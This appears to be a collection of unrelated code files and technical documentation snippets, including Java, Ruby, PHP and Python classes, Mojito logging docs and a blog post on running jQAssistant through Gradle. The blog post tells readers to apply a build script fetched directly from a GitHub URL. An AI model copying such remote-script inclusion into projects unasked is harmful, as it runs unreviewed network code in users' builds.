    @Override
    public int hashCode() {
        return Objects.hashCode(mId, mContent, mMember, mReplyTime, mFloor);
    }

    public static class Builder {
        private int mId;
        private String mContent;
        private Member mMember;
        private String mReplyTime;
        private int mFloor;

        public Builder setId(int mId) {
            this.mId = mId;
            return this;
        }

        public Builder setContent(String mContent) {
            this.mContent = mContent;
            return this;
        }

        public Builder setMember(Member mMember) {
            this.mMember = mMember;
            return this;
        }

        public Builder setReplyTime(String mReplyTime) {
            this.mReplyTime = mReplyTime;
            return this;
        }

        public Builder setFloor(int mFloor) {
            this.mFloor = mFloor;
            return this;
        }

        public Comment createComment() {
            return new Comment(mId, mContent, mMember, mReplyTime, mFloor);
        }
    }

    protected Comment(Parcel in) {
        this.mId = in.readInt();
        this.mContent = in.readString();
        this.mMember = in.readParcelable(Member.class.getClassLoader());
        this.mReplyTime = in.readString();
        this.mFloor = in.readInt();
    }

    public static final Creator<Comment> CREATOR = new Creator<Comment>() {
        @Override
        public Comment createFromParcel(Parcel in) {
            return new Comment(in);
        }

        @Override
        public Comment[] newArray(int size) {
            return new Comment[size];
        }
    };

    @Override
    public int describeContents() {
        return 0;
    }

    @Override
    public void writeToParcel(Parcel dest, int i) {
        dest.writeInt(this.mId);
        dest.writeString(this.mContent);
        dest.writeParcelable(this.mMember, 0);
        dest.writeString(this.mReplyTime);
        dest.writeInt(this.mFloor);
    }
}


text:
require_relative "helper"

module RubyX
  class TestRubyXCompilerBinary < MiniTest::Test
    include ScopeHelper
    include RubyXHelper

    def space_source_for( name )
      "class Space ; def #{name}(arg);return arg;end; end"
    end
    def test_platform_option
      options = RubyX.interpreter_test_options
      options.delete(:platform)
      assert_raises{ RubyXCompiler.ruby_to_binary(space_source_for("main"), options)}
    end
    def test_return_linker
      @linker = RubyXCompiler.ruby_to_binary(space_source_for("main"), RubyX.interpreter_test_options)
      assert_equal Risc::Linker , @linker.class
    end
    def test_one_sol_call
      compiler = RubyXCompiler.new(RubyX.default_test_options)
      compiler.ruby_to_sol(space_source_for("main"))
      assert_equal Sol::ClassExpression , compiler.sol.class
    end
    def test_two_sol_calls
      compiler = RubyXCompiler.new(RubyX.default_test_options)
      compiler.ruby_to_sol(space_source_for("main"))
      compiler.ruby_to_sol(space_source_for("twain"))
      assert_equal Sol::ScopeStatement , compiler.sol.class
      assert_equal 2 , compiler.sol.length
    end
    def test_bin_two_sources
      compiler = RubyXCompiler.new(RubyX.default_test_options)
      compiler.ruby_to_sol(space_source_for("main"))
      compiler.ruby_to_sol(space_source_for("twain"))
      assert_equal 2 , compiler.sol.length
      linker = compiler.to_binary(:interpreter)
      assert_equal Risc::Linker , linker.class
      assert_equal 4 , linker.assemblers.length
    end
  end
end


text:
=======
Logging
=======

Mojito relies on YUI for logging. When you call ``Y.log`` from within your mojits, your
log messages are handled by a YUI instance that Mojito creates based on YUI configurations
defined in ``application.json`` or ``application.yaml``. You can set logging levels to
control the degree of detail in your log reports.

Mojito does not write logs to a file. Instead, Mojito writes logs to the Node.js console.
Thus, once logs are passed to Node.js, Mojito has no control over whether Node.js writes
logs to a file, transmits them into an aggregated hub for multiple cores, or uses another
implementation for logging.

.. _mojito_logging-levels:

Log Levels
==========

Mojito has the following six log levels:

- ``debug``
- ``mojito``
- ``info``
- ``warn``
- ``error``
- ``none``

All of them should be familiar except ``mojito``, which is the logging level for
capturing framework-level messages that indicate that an important framework event is
occurring (one that users might want to track).

Setting a log level of ``warn`` will filter out all ``debug`` and ``info`` messages, while
``warn``, ``error``, and ``mojito`` log messages will be processed. To see all
log messages, set the log level to ``debug``.

.. _mojito_logging-defaults:

Log Defaults
============

The server and client log settings have the following default values:

- ``debug: true`` - turns logging on so that messages are displayed in the console.
- ``logLevel: "debug"`` - log level filter.
- ``logLevelOrder: ['debug', 'mojito', 'info', 'warn', 'error', 'none']`` - the order in
  which the log levels are evaluated.

.. _mojito_logging-config:

Log Configuration
=================

All the values above are configurable through the
`yui.config object <../intro/mojito_configuring.html#yui_config>`_ in the
``application.json`` file. In the example ``application.json`` below, the ``yui.config``
object overrides the default for ``logLevel``.

.. code-block:: javascript

   [
     {
       "settings": [ "master" ],
       "yui": {
         "config": {
           "debug": true,
           "logLevel": "error"
         }
       },
       ...
     }
   ]

.. note:: To set ``logLevel``, the property ``debug`` must be set to ``true``, which
          is the default.

.. _logging_config-prod:

Recommended Logging Configuration for Production
------------------------------------------------

For production, we recommend that you use the ``environment:production``
context with the log configuration shown below:

.. code-block:: javascript

   [
     {
       "settings": [ "environment:production" ],
       "yui": {
         "config": {
           "debug": false,
           "logLevel": "none"
         }
       },
       ...
     }
   ]

.. _mojito_logging-custom:

Customizing Logging
===================

.. _logging_custom-rt_context:

Client and Server Logging
-------------------------

You can use the ``master`` and  the ``runtime:client`` contexts to create different
logging settings for the client and server.

In the ``application.json`` file, create two configuration
objects that use the ``master`` context for the server-side log configuration
and the ``runtime:client`` context for the client-side log configuration
as shown below.

.. code-block:: javascript

   [
     {
       "settings": [ "master" ],
     },
     {
       "settings": [ "runtime:client" ],
     },

   ]

For each context, configure your logging with
the ``yui.config`` object.

.. code-block:: javascript

   [
     {
       "settings": [ "master" ],
       ...
       "yui": {
         "config": {
           "debug": true,
           "logLevel": "info"
         }
       }
     },
     {
       "settings": [ "runtime:client" ],
       ...
       "yui": {
         "config": {
           "debug": true,
           "logLevel": "warn"
         }
       }
     }
   ]

.. _logging_custom-using_ylog:

Using Y.log in Mojito Applications
----------------------------------

You use ``Y.log`` in Mojito as you would in any application
using YUI. See the YUI API documentation for
`log <http://yuilibrary.com/yui/docs/api/classes/YUI.html#method_log>`_ for
details about the parameters and return values.

We recommend that you pass the first three parameters to
``Y.log`` in your Mojito application:

- ``msg`` - the message to log
- ``cat`` - the log level or category, such as 'info', 'error', 'warn'
- ``src`` - the name of the module reporting the error

In the example binder below, ``Y.log`` logs
a message at the ``info`` level and specifies the module
through ``NAME``, which in this case contains the value ``DemoBinderIndex``.

.. code-block:: javascript

   YUI.add('DemoBinderIndex', function(Y, NAME) {
    Y.namespace('mojito.binders')[NAME] = {
        init: function(mojitProxy) {
            this.mojitProxy = mojitProxy;
        },
        bind: function(node) {
            Y.log("Log message", "info", NAME);
            this.node = node;
        }
    };
  }, '0.0.1', {requires: ['mojito-client']});

.. logging_levels-define:

Customizing the Log Level Order
-------------------------------

You can reorder and create log levels with the ``logLevelOrder`` property of the
``yui.config`` object. In the example ``yui.config`` object below,
the order of the log levels is switched for ``warn`` and ``info`` and
the new log level ``danger`` is created.

.. code-block:: javascript

   [
     {
       "settings": [ "master" ],
       "yui": {
         "config": {
           "debug": true,
           "logLevelOrder": [ "debug", "warn", "info", "error", "danger", "none" ]
         }
       },
       ...
     }
   ]

.. _logging_custom-include_exclude_src:

Including and Excluding Modules From Logging
--------------------------------------------

You can use the ``logExclude`` and ``logInclude`` properties
of the ``yui.config`` object to include or exclude logging
from YUI modules of your application.

The configuration below excludes logging from the YUI module
``FinanceModelStocks``:

.. code-block:: javascript

   "yui": {
     "config": {
      "debug": true,
      "logLevel": "info",
      "logExclude": { "FinanceModelStocks": true }
     }
   }

Based on the logging configurations above, the
``Y.log`` messages in the model below will be excluded
from the log:

.. code-block:: javascript

   YUI.add('FinanceModelStocks', function (Y, NAME) {

     Y.namespace('mojito.models')[NAME] = {

       init: function (config) {
         // The following log message will be excluded from the log
         // because "logExclude": { "FinanceModelStocks" }.
         // NAME => "FinanceModelStocks"
         Y.log('this message will be excluded', 'info', NAME);
         this.config = config;
       },
       ...
     };

   }, '0.0.1', {requires: []});


text:
#include "universal_include.h"

#ifdef USE_RAKNET

#include "Network/net_raknet.h"

#endif


text:
<?php

declare(strict_types=1);

namespace Prooph\ProophessorDo\Model\Todo\Command;

use Assert\Assertion;
use Prooph\Common\Messaging\Command;
use Prooph\Common\Messaging\PayloadConstructable;
use Prooph\Common\Messaging\PayloadTrait;
use Prooph\ProophessorDo\Model\Todo\TodoId;

final class MarkTodoAsDone extends Command implements PayloadConstructable
{
    use PayloadTrait;

    public static function with(string $todoId): MarkTodoAsDone
    {
        return new self([
            'todo_id' => $todoId,
        ]);
    }

    public function todoId(): TodoId
    {
        return TodoId::fromString($this->payload['todo_id']);
    }

    protected function setPayload(array $payload): void
    {
        Assertion::keyExists($payload, 'todo_id');
        Assertion::uuid($payload['todo_id']);

        $this->payload = $payload;
    }
}


text:
---
layout: post
title: Use jQAssistant with Gradle (and other build tools)
description: "Setup a Gradle project to use jQAssistant and additional plugins."
author: jens_nerche
tags: [en, Gradle, jQAssistant]
---

Ultrashort TL;DR:

Add this line into your build.gradle:

    apply from: 'https://raw.githubusercontent.com/kontext-e/jqa-gradle/master/jqa.gradle'

Now you can do

    ./gradlew clean check jqa

in your project.

The following longer version explains why and how it works.

jQAssistant comes with an excellent Maven support. But does it mean that you can't use
it with other build tools? Of course you can use it also with Gradle. Or Ant. Or whatever
you are using. In this post I'll show you how.

At the [Get Started](https://jqassistant.org/get-started/) page you find only the options
"Command Line" and "Maven". Well, yes, we could use the "Run Process" capability of the
build tool to start the jqassistant.cmd or jqassistant.sh. But there is also the artifact
[jqassistant-commandline available at Maven Central](http://search.maven.org/#search%7Cga%7C1%7Ca%3A%22jqassistant-commandline%22).
Using that one I'll show you the example of a Gradle integration.

Given you have already a build.gradle file, first you add some properties to make
version handling easier:

```groovy
project.ext["jqaversion"] = "1.3.0"
project.ext["jqapluginversion"] = "1.3"
project.ext["kejqapluginversion"] = "1.3.3"
```

The "jqaversion" is for the jQAssistant Core Framework. With a high probability you also want to
use some plugins, e.g. for scanning Java class files. For the plugins is the "jqapluginversion".
And in this example let's use also a plugin from an external contributor, so we need also the
"kejqapluginversion".

It is not really necessary, but for the reason of Separations of Concerns, I always like to
define a separate "configuration" for jQAssistant dependencies:

```groovy
configurations {
  jqa
}
```

Now let's use this configuration to declare the dependencies:

```groovy
dependencies {
  jqa("com.buschmais.jqassistant:jqassistant-commandline:${project.jqaversion}") {
    // because jQA 1.3 comes with Neo4j 2 and 3 support, there would be a classpath conflict
    exclude module: 'neo4j'
  }

  // list here all the plugins you want to use
  jqa("com.buschmais.jqassistant.plugin:java:${project.jqapluginversion}")
  jqa("com.buschmais.jqassistant.plugin:junit:${project.jqapluginversion}")

  // and plugins from other contributors
  jqa("de.kontext-e.jqassistant.plugin:jqassistant.plugin.git:${project.kejqapluginversion}")
}
```

And everything is set up to scan the project. To do so let's define a new task:

```groovy
task(jqascan, type: JavaExec) {
    main = 'com.buschmais.jqassistant.commandline.Main'
    classpath = configurations.jqa
    args 'scan'
    args '-f'

    args 'java:classpath::build/classes/main'
    args 'java:classpath::build/classes/test'
}
```

As you see in the task a Java program gets executed. We have to give the
classpath because we defined a separate configuration, the class containing
the main method and the parameters as described in the
[jQAssistant documentation](http://buschmais.github.io/jqassistant/doc/1.3.0/)

Finally it's time to scan your project:

    ./gradlew clean check jqascan

The same way works defining a task for applying concepts and checking constraints:

```groovy
task(jqaanalyze, type: JavaExec) {
  classpath = configurations.jqa
  main = 'com.buschmais.jqassistant.commandline.Main'
  args 'analyze'
}
```

Don't forget to put some rules in your projects jqassistant/rules folder as described
in the [Get Started](https://jqassistant.org/get-started/) and
[jQAssistant documentation](http://buschmais.github.io/jqassistant/doc/1.3.0/)

and try

    ./gradlew jqaanalyze

Maybe you also want to start the server to explore your application. Let's also define
a task for this:

```groovy
task(jqs, type: JavaExec) {
  classpath = configurations.jqa

  main = 'com.buschmais.jqassistant.commandline.Main'
  args 'server'

  standardInput = System.in
}
```

The jQA command line runs the server and prints "ServerTask - Press <Enter> to finish."
as the last line. To be able to Press <Enter> we need to declare the

    standardInput = System.in

as the last line in this task.

Basically that's it. You may find it useful to define more tasks for the other
command line commands like available-rules, available-rules, effective-rules and so on.
Especially cleanup is useful. Because resetting the store may take a while, I found it
useful to simply delete the store and report folders with this task:

```groovy
task jqaclean(type: Delete) {
    delete 'jqassistant/report'
    delete 'jqassistant/store'
}
```

and execute this task also in the standard clean task:

    clean.dependsOn jqaclean

But wait... what if I have a multi-module project? Do I have to list every of
my subprojects here? And didn't I also promise to use a third party plugin?
At least the Git plugin is specified as dependency!

Ok, ok, here is a task definition for scan which is slightly longer:

```groovy
task(jqascan, dependsOn: ['jqaclean'], type: JavaExec) {
  classpath = configurations.jqa
  main = 'com.buschmais.jqassistant.commandline.Main'
  args 'scan'
  args '-f'

  rootProject.subprojects {
    args 'java:classpath::'+it.name+'/build/classes/main'
    args 'java:classpath::'+it.name+'/build/classes/test'
  }

  args '.git'
}
```

This scans all subprojects and also the Git repository. If you may ask yourself here
why you should scan the Git repo and what it has to do with a "Java Quality Assistant",
you find the answer in
[this excellent blog post](https://jqassistant.org/shadows-of-the-past-analysis-of-git-repositories/)

Here is the complete code with some additional convenciece tasks:

```groovy
project.ext["jqaversion"] = "1.3.0"
project.ext["jqapluginversion"] = "1.3"
project.ext["kejqapluginversion"] = "1.3.3"

configurations {
    jqa
}

dependencies {
    jqa("com.buschmais.jqassistant:jqassistant-commandline:${project.jqaversion}") {
        // because jQA 1.3 comes with Neo4j 2 and 3 support, there would be a classpath conflict
        exclude module: 'neo4j'
    }

    // list here all the plugins you want to use
    jqa("com.buschmais.jqassistant.plugin:java:${project.jqapluginversion}")
    jqa("com.buschmais.jqassistant.plugin:junit:${project.jqapluginversion}")

    // and plugins from other contributors
    jqa("de.kontext-e.jqassistant.plugin:jqassistant.plugin.git:${project.kejqapluginversion}")
}

task jqaclean(type: Delete) {
    delete 'jqassistant/report'
    delete 'jqassistant/store'
}

task(jqascan, dependsOn: 'jqaclean', type: JavaExec) {
    main = 'com.buschmais.jqassistant.commandline.Main'
    classpath = configurations.jqa

    main = 'com.buschmais.jqassistant.commandline.Main'
    args 'scan'
    args '-f'

    args 'java:classpath::build/classes/main'
    args 'java:classpath::build/classes/test'

    /* in a multi subprojects project it would be:
    rootProject.subprojects {
        args 'java:classpath::'+it.name+'/build/classes/main'
        args 'java:classpath::'+it.name+'/build/classes/test'
    }
    */

    args '.git'
}

task(jqaanalyze, type: JavaExec) {
    classpath = configurations.jqa

    main = 'com.buschmais.jqassistant.commandline.Main'
    args 'analyze'
}

task(jqaavailablescopes, type: JavaExec) {
    classpath = configurations.jqa

    main = 'com.buschmais.jqassistant.commandline.Main'
    args 'available-scopes'
}

task(jqareset, type: JavaExec) {
    classpath = configurations.jqa

    main = 'com.buschmais.jqassistant.commandline.Main'
    args 'reset'
}

task(jqaeffectiverules, type: JavaExec) {
    classpath = configurations.jqa

    main = 'com.buschmais.jqassistant.commandline.Main'
    args 'effective-rules'
}

task(jqaavailablerules, type: JavaExec) {
    classpath = configurations.jqa

    main = 'com.buschmais.jqassistant.commandline.Main'
    args 'available-rules'
}

task(jqareport, type: JavaExec) {
    classpath = configurations.jqa

    main = 'com.buschmais.jqassistant.commandline.Main'
    args 'report'
}

task(jqa, dependsOn: ['jqascan','jqaanalyze']) {
    jqaanalyze.mustRunAfter jqascan
}

task(jqs, type: JavaExec) {
    classpath = configurations.jqa

    main = 'com.buschmais.jqassistant.commandline.Main'
    args 'server'

    standardInput = System.in
}

clean.dependsOn jqaclean
```

If you put it into a (reusable)
[jqa.gradle](https://raw.githubusercontent.com/kontext-e/jqa-gradle/master/jqa.gradle)
file, you only need one additional line in your build.gradle:

    apply from: 'jqa.gradle'

You find a working [Gradle Blueprint on GitHub](https://github.com/kontext-e/jqa-gradle)


text:
"""
Lino's comments framework.  See :doc:`/specs/comments`.

.. autosummary::
   :toctree:

    fixtures.demo2
"""

from lino import ad, _

class Plugin(ad.Plugin):
    "See :doc:`/dev/plugins`."
    verbose_name = _("Comments")

    site_js_snippets = ['comments/comments.js']

    needs_plugins = ['lino.modlib.office', 'lino.modlib.gfks']

    # user_must_publish = True
    # """
    # Whether the users are invited to "publish" their comments.
    # """

    def setup_main_menu(self, site, user_type, m):
        mg = site.plugins.office
        m = m.add_menu(mg.app_label, mg.verbose_name)
        m.add_action('comments.MyComments')
        # if self.user_must_publish:
        #     m.add_action('comments.MyPendingComments')
        m.add_action('comments.RecentComments')

    def setup_config_menu(self, site, user_type, m):
        mg = site.plugins.office
        m = m.add_menu(mg.app_label, mg.verbose_name)
        m.add_action('comments.CommentTypes')

    def setup_explorer_menu(self, site, user_type, m):
        mg = site.plugins.office
        m = m.add_menu(mg.app_label, mg.verbose_name)
        m.add_action('comments.AllComments')

    def get_dashboard_items(self, user):
        # if self.user_must_publish:
        #     yield self.site.models.comments.MyPendingComments
        yield self.site.models.comments.RecentComments


text: var spec = require('./test/sequence-viz-demo-spec.js');


text:
package com.mwelborn.dmsbatch.model;

public class DatabaseSettings extends Settings {

    public enum DatabaseType {

        ORACLE("ORACLE");

        private String dataMoverDatabaseType;

        private DatabaseType(String dataMoverDatabaseType) {
            this.dataMoverDatabaseType = dataMoverDatabaseType;
        }

        public String getDataMoverDatabaseType() {
            return dataMoverDatabaseType;
        }
    }

    private String databaseType;
    private String databaseName;
    private String databaseUsername;
    private String databasePassword;
    private String connectId;
    private String connectPassword;

    public String getConnectId() {
        return connectId;
    }

    public String getConnectPassword() {
        return connectPassword;
    }

    public String getDatabaseName() {
        return databaseName;
    }

    public String getDatabasePassword() {
        return databasePassword;
    }

    public String getDatabaseType() {
        return databaseType;
    }

    public String getDatabaseUsername() {
        return databaseUsername;
    }

    public void setConnectId(String connectId) {
        this.connectId = connectId;
    }

    public void setConnectPassword(String connectPassword) {
        this.connectPassword = connectPassword;
    }

    public void setDatabaseName(String databaseName) {
        this.databaseName = databaseName;
    }

    public void setDatabasePassword(String databasePassword) {
        this.databasePassword = databasePassword;
    }

    public void setDatabaseType(String databaseType) {
        this.databaseType = databaseType;
    }

    public void setDatabaseUsername(String databaseUsername) {
        this.databaseUsername = databaseUsername;
    }

}


text:
"""Provides the MetricDescriptors in the monitoring API."""

from __future__ import absolute_import
from builtins import object

import fnmatch
import pandas

from . import _utils

class MetricDescriptors(object):
  """MetricDescriptors object for retrieving the metric descriptors."""

  _DISPLAY_HEADERS = ('Metric type', 'Display name', 'Kind', 'Value', 'Unit',
                      'Labels')

  def __init__(self, filter_string=None, type_prefix=None,
               project_id=None, context=None):
    """Initializes the MetricDescriptors based on the specified filters.

    Args:
      filter_string: An optional filter expression describing the resource
          descriptors to be returned.
      type_prefix: An optional prefix constraining the selected metric types.
          This adds ``metric.type = starts_with("<prefix>")`` to the filter.
      project_id: An optional project ID or number to override the one provided
          by the context.
      context: An optional Context object to use instead of the global default.
    """
    self._client = _utils.make_client(project_id, context)
    self._filter_string = filter_string
    self._type_prefix = type_prefix
    self._descriptors = None

  def list(self, pattern='*'):
    """Returns a list of metric descriptors that match the filters.

    Args:
      pattern: An optional pattern to further filter the descriptors. This can
          include Unix shell-style wildcards. E.g. ``"compute*"``,
          ``"*cpu/load_??m"``.

    Returns:
      A list of MetricDescriptor objects that match the filters.
    """
    if self._descriptors is None:
      self._descriptors = self._client.list_metric_descriptors(
          filter_string=self._filter_string, type_prefix=self._type_prefix)
    return [metric for metric in self._descriptors
            if fnmatch.fnmatch(metric.type, pattern)]

  def as_dataframe(self, pattern='*', max_rows=None):
    """Creates a pandas dataframe from the descriptors that match the filters.

    Args:
      pattern: An optional pattern to further filter the descriptors. This can
          include Unix shell-style wildcards. E.g. ``"compute*"``,
          ``"*/cpu/load_??m"``.
      max_rows: The maximum number of descriptors to return. If None, return
          all.

    Returns:
      A pandas dataframe containing matching metric descriptors.
    """
    data = []
    for i, metric in enumerate(self.list(pattern)):
      if max_rows is not None and i >= max_rows:
        break
      labels = ', '. join([l.key for l in metric.labels])
      data.append([
          metric.type, metric.display_name, metric.metric_kind,
          metric.value_type, metric.unit, labels])

    return pandas.DataFrame(data, columns=self._DISPLAY_HEADERS)